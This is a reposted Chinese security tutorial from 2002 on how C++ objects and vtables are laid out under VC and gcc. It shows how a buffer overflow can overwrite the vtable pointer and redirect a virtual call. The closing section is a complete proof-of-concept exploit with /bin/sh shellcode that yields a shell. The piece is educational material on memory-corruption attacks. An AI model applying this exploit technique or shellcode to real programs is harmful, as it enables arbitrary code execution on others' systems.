zoukankan      html  css  js  c++  java
  • ◆ C++中通过溢出覆盖虚函数指针列表执行代码

     ◆ C++中通过溢出覆盖虚函数指针列表执行代码

    作者:watercloud
    主页:http://www.nsfocus.com
    日期:2002-4-15

        
    目录:

      1.  C++中虚函数的静态联编和动态联编
      2.  VC中对象的空间组织和溢出试验
      3.  GCC中对象的空间组织和溢出试验
      4.  参考


    <一> C++中虚函数的静态联编和动态联编

          C++中的一大法宝就是虚函数,简单来说就是加virtual关键字定义的函数。
      其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的
      使用,一个典型的例子就是虚函数是MFC的基石之一。

         这里有两个概念需要先解释:

      静态联编:通俗点来讲就是程序编译时确定调用目标的地址。
      动态联编:程序运行阶段确定调用目标的地址。
        
         在C++中通常的函数调用都是静态联编,但如果定义函数时加了virtual关键
      字,并且在调用函数时是通过指针或引用调用,那么此时就是采用动态联编。

          一个简单例子:
    // test.cpp
    #include<iostream.h>
    class ClassA
    {
    public:
      int num1;
      ClassA(){ num1=0xffff; };
      virtual void test1(void){};
      virtual void test2(void){};
    };
    ClassA objA,* pobjA;

    int main(void)
    {
      pobjA=&objA;
      objA.test1();
      objA.test2();
      pobjA->test1();
      pobjA->test2();
      return 0;
    }



     
    使用VC编译:
    开一个命令行直接在命令行调用cl来编译: (如果你安装vc时没有选择注册环境
    变量,那么先在命令行运行VC目录下bin\VCVARS32.BAT )

    cl test.cpp /Fa
    产生test.asm中间汇编代码

    接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心 !

    我们来看看:

    数据定义:

    _BSS    SEGMENT
    ?objA@@3VClassA@@A DQ 01H DUP (?)    ;objA  64位
    ?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一个地址32位
    _BSS    ENDS

    看到objA为64位,里边存放了哪些内容呢? 接着看看构造函数:

    _this$ = -4
    ??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?!
    ; File test.cpp
    ; Line 6
        push    ebp
        mov    ebp, esp
        push    ecx
        mov    DWORD PTR _this$[ebp], ecx  ; ecx 赋值给 _this ?? 不明白??

        mov    eax, DWORD PTR _this$[ebp]
        mov    DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
               ; ClassA::`vftable'

    ; 前面的部分都是编译器加的东东,我们的赋值在这里

        mov    ecx, DWORD PTR _this$[ebp]
        mov    DWORD PTR [ecx+4], 65535   ;0xffff  num1=0xffff;
    ; 看来 _this+4就是num1的地址

        mov    eax, DWORD PTR _this$[ebp]
        mov    esp, ebp
        pop    ebp
        ret    0
    ??0ClassA@@QAE@XZ ENDP

    那个_this和mov    DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧,不急看看何
    处调用的构造函数:

    _$E9    PROC NEAR
    ; File test.cpp
    ; Line 10
        push    ebp
        mov    ebp, esp
        mov    ecx, OFFSET FLAT:?objA@@3VClassA@@A
        call    ??0ClassA@@QAE@XZ          ;call ClassA::ClassA()
        pop    ebp
        ret    0
    _$E9    ENDP

    看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中
    的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx
    赋值给他,指向调用该方法的对象的地址 。

    那么构造函数里的这两行又是干什么呢?
        mov    eax, DWORD PTR _this$[ebp]
        mov    DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
               ; ClassA::`vftable'

    我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA
    接着就相当于  ( * eax ) =  OFFSET FLAT:??_7ClassA@@6B@

    来看看  ??_7ClassA@@6B@ 是哪个道上混的:

    CONST    SEGMENT
    ??_7ClassA@@6B@
            DD FLAT:?test1@ClassA@@UAEXXZ  ;  ClassA::`vftable'
        DD FLAT:?test2@ClassA@@UAEXXZ
    CONST    ENDS

    看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值:
        mov    DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
               ; ClassA::`vftable'
    就是在对象的起始地址填入这么一个地址列表的地址。


    好了,至此我们已经看到了objA的构造了:

    | 低地址 |
    +--------+ ---> objA的起始地址 &objA
    |pvftable|
    +--------+-------------------------+
    | num1   | num1变量的空间          |
    +--------+ ---> objA的结束地址     +--->+--------------+ 地址表 vftable
    | 高地址 |                              |test1()的地址 |
                                            +--------------+
                                            |test2()的地址 |
                                            +--------------+

    来看看main函数:
    _main    PROC NEAR
    ; Line 13
        push    ebp
        mov    ebp, esp
    ; Line 14
        mov    DWORD PTR ?pobjA@@3PAVClassA@@A,
                    OFFSET FLAT:?objA@@3VClassA@@A        ; pobjA = &objA

    ; Line 15
        mov    ecx, OFFSET FLAT:?objA@@3VClassA@@A   ; ecx = this指针
                                                          ; 指向调用者的地址
        call    ?test1@ClassA@@UAEXXZ                 ; objA.test1()
                 ; objA.test1()直接调用,已经确定了地址
    ; Line 16
        mov    ecx, OFFSET FLAT:?objA@@3VClassA@@A
        call    ?test2@ClassA@@UAEXXZ                 ; objA.test2()
    ; Line 17
        mov    eax, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
        mov    edx, DWORD PTR [eax]                  ; edx = vftable
        mov    ecx, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
        call    DWORD PTR [edx]                       ;
           ; call vftable[0]  即 pobjA->test1()  看地址是动态查找的 ; )
                                                                    

    ; Line 18
        mov    eax, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
        mov    edx, DWORD PTR [eax]
        mov    ecx, DWORD PTR ?pobjA@@3PAVClassA@@A  ; pobjA
        call    DWORD PTR [edx+4]                     ; pobjA->test2()
           ;  call vftable[1]  而vftable[1]里存放的是test2()的入口地址
    ; Line 19
        xor    eax, eax
    ; Line 20
        pop    ebp
        ret    0
    _main    ENDP



    好了,相信到这里你已经对动态联编有了深刻印象。


    <二> VC中对象的空间组织和溢出试验

      通过上面的分析我们可以对对象空间组织概括如下:

    | 低地址   |
    +----------+ ---> objA的起始地址 &objA
    |pvftable  |--------------------->+
    +----------+                      |
    |各成员变量|                      |
    +----------+ ---> objA的结束地址  +---> +--------------+ 地址表 vftable
    | 高地址   |                            |虚函数1的地址 |
                                            +--------------+
                                            |虚函数2的地址 |
                                            +--------------+
                                            | . . . . . .  |

    可以看出如果我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得
    我们能改变程序流程!

    现在来作一个溢出试验:
    先写个程序来看看
    #include<iostream.h>
    class ClassEx
    {
    };
    int buff[1];
    ClassEx obj1,obj2,* pobj;

    int main(void)
    {
      cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
      return 0;
    }

    用cl编译运行结果为:
    0x00408998:0x00408990:0x00408991:0x00408994
    编译器把buff的地址放到后面了!
    把程序改一改,定义变量时换成:
    ClassEx obj1,obj2,* pobj;
    int buff[1];
    结果还是一样!! 不会是vc就是防着这一手吧!
    看来想覆盖不容易呀 ; )
    只能通过obj1 溢出覆盖obj2了

    //ex_vc.cpp
    #include<iostream.h>
    class ClassEx
    {
    public:
    int buff[1];
    virtual void test(void){ cout << "ClassEx::test()" << endl;};
    };
    void entry(void)
    {
      cout << "Why a u here ?!" << endl;
    };

    ClassEx obj1,obj2,* pobj;

    int main(void)
    {

      pobj=&obj2;
      obj2.test();
     
      int vtab[1] = { (int) entry };//构造vtab,
                                    //entry的入口地址
      obj1.buff[1] = (int)vtab;     //obj1.buff[1]就是 obj2的pvftable域
                                    //这里修改了函数指针列表的地址到vtab
      pobj->test();
      return 0;
    }

    编译 cl ex_vc.cpp

    运行结果:
    ClassEx::test()
    Why a u here ?!

    测试环境: VC6


    看我们修改了程序执行流程 ^_^

    平时我们编程时可能用virtaul不多,但如果我们使用BC/VC等,且使用了厂商提供的
    库,其实我们已经大量使用了虚函数 ,以后写程序可要小心了,一个不留神的变量
    赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的,里边会不会 ....



    <三> GCC中对象的空间组织和溢出试验

      刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不
    一样!分析方法一样,就是写个test.cpp用gcc -S test.cpp  来编译得到汇编文件
    test.s 然后分析test.s我们就能得到许多细节上的东西。

    通过分析我们可以看到:

    gcc中对象地址空间结构如下:

    |   低地址      |
    +---------------+  对象的开始地址
    |               |
    |  成员变量空间 |
    |               |
    +---------------+
    | pvftable      |----------->+------------------+  vftable
    +---------------+            |        0         |
    |    高地址     |            +------------------+
                                 |    XXXXXXXX      |
                                 +------------------+
                                 |        0         |
                                 +----------------- +
                                 |  虚函数1入口地址 |
                                 +------------------+
                                 |        0         |
                                 +----------------- +
                                 |  虚函数2入口地址 |
                                 +------------------+
                                 | . . . .  . .     |


    哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable
    前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了!


    来写个溢出测试程序:

    //test.cpp
    #include<iostream.h>
    class ClassTest
    {
    public:
      long buff[1];   //大小为1
      virtual void test(void)
      {
         cout << "ClassTest test()" << endl;
      }
    };

    void entry(void)
    {
      cout << "Why are u here ?!" << endl;
    }

    int main(void)
    {
      ClassTest a,*p =&a;
      long addr[] = {0,0,0,(long)entry}; //构建的虚函数表
                                      //test() -> entry()

      a.buff[1] = ( long ) addr;// 溢出,操作了虚函数列表指针
      a.test();    //静态联编的,不会有事
      p->test();   //动态联编的,到我们的函数表去找地址,
                   //     结果就变成了调用函数  entry()

    }

    编译: gcc test.cpp -lstdc++
    执行结果:
    bash-2.05# ./a.out
    ClassTest test()
    Why are u here ?!


    测试程序说明:

    具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段:
    .section        .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
            .p2align 2
            .type    _vt$9ClassTest,@object
            .size    _vt$9ClassTest,24
    _vt$9ClassTest:
            .value 0
            .value 0
            .long __tf9ClassTest
            .value 0
            .value 0
            .long test__9ClassTest           ----------+
            .zero   8                                  |
            .comm   __ti9ClassTest,8,4                 |
                                                       |
                                                       |
                            test()的地址          <----+


    这就是其虚函数列表里的内容了。

                        test()地址在第3个(long)型地址空间

    所以我们构造addr[]时:

       long addr[] = {0,0,0,(long)entry};

       就覆盖了test()函数的地址 为 entry()的地址

       p->test()
       时就跑到我们构建的地址表里取了entry的地址去运行了


    测试环境 FreeBSD 4.4
             gcc 2.95.3

    来一个真实一点的测试:
    通过溢出覆盖pvftable,时期指向一个我们自己构造的
    vftable,并且让vftable的虚函数地址指向我们的一段shellcode
    从而得到一个shell。

    #include<iostream.h>
    #include<stdio.h>
    class ClassBase  //定义一个基础类
    {
    public:
      char buff[128];
      void setBuffer(char * s)
      {
         strcpy(buff,s);
      };
      virtual void printBuffer(void){};  //虚函数
    };

    class  ClassA :public ClassBase 
    {
    public:
      void printBuffer(void)
      {
         cout << "Name :" << buff << endl;
      };
    };

    class ClassB : public ClassBase
    {
    public:
      void printBuffer(void)
      {
         cout << "The text : " << buff << endl;
      };
    };

    char  buffer[512],*pc;            
    long  * pl = (long *) buffer;
    long  addr = 0xbfbffabc;   // 在我的机器上就是 &b ^_*
    char  shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80";
    int i;

    int main(void)
    {
      ClassA a;
      ClassB b;
      ClassBase * classBuff[2] = { &a,&b };

      a.setBuffer("Tom");
      b.setBuffer("Hello ! This is world of c++ .");

      for(i=0;i<2;i++)     //C++中的惯用手法,
                           //一个基础类的指针指向上层类对象时调
                   //用的为高层类的虚函数
        classBuff[i]->printBuffer(); // 这里是正常用法

      cout << &a << " : " << &b <<  endl; // &b就是上面addr的值,
                      //如果你的机器上两个值不同就改一改addr值吧!
          //构造一个特殊的buff呆会给b.setBuffer
          // 在开始处构造一个vftable
      pl[0]=0xAAAAAAAA;     //填充1
      pl[1]=0xAAAAAAAA;     //填充2
      pl[2]=0xAAAAAAAA;     //填充3
      pl[3]=addr+16;        //虚函数printBuffer入口地址
                            //  的位置指向shell代码处了
      pc = buffer+16;
      strcpy(pc,shellcode);
      pc+=strlen(shellcode);

      for(;pc - buffer < 128 ; *pc++='A');  //填充
     
      pl=(long *) pc;
      *pl= addr;             //覆盖pvftable使其指向我们构造的列表

      b.setBuffer(buffer);  //溢出了吧 .

      // 再来一次
      for(i=0;i<2;i++)
        classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
                                     // 时一个shell就出来了

      return 0;
    }
     

    bash-2.05$ ./a.out
    Name :Tom
    The text : Hello ! This is world of c++ .
    0xbfbffb44 : 0xbfbffabc
    Name :
    $                 <------ 呵呵,成功了

    说明:

    addr = &b  也就是 &b.buff[0]

    b.setBuffer(buffer)
    就是让 b.buff溢出,覆盖128+4+1个地址。
    此时内存中的构造如下:

    &b.buff[0] 也是 &b
    ^
    |
    |
    [填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0]
                        ____  ^                ___
                          |   |                 |
                          |   |                 |
    |                     +---+              |  |
    |                                        |  |
    +--------------->  128    <--------------+  |
                                                |
      此处即pvftable项 ,被溢出覆盖为 addr   <---+                        

    现在b.buff[0]的开始处就构建了一个我们自己的虚
    函数表,虚函数的入口地址为shellcode的地址 !


          本文只是一个引导性文字,还有许多没
      有提到的细节,需要自己去分析。
          俗话说自己动手丰衣足食 *_&

    <四> 参考

      Phrack56# << SMASHING C++ VPTRS  >>



            个人愚见,望斧正!

                                     __watercloud__

                                (watercloud@nsfocus.com)

                                       2002-4-15

  • 相关阅读:
    实现可重启线程
    让别人能登陆你的mysql
    zmq消息订阅
    git备忘
    【LeetCode】数组排列问题(permutations)(附加next_permutation解析)
    【LeetCode】 数相加组合 Combination Sum
    【LeetCode】【找元素】Find First and Last Position of Element in Sorted Array
    【LeetCode】【数组归并】Merge k Sorted Lists
    【LeetCode】【动态规划】Generate Parentheses(括号匹配问题)
    【Leetcode】Remove Nth Node From End of List
  • 原文地址:https://www.cnblogs.com/dongzhiquan/p/1994919.html
Copyright © 2011-2022 走看看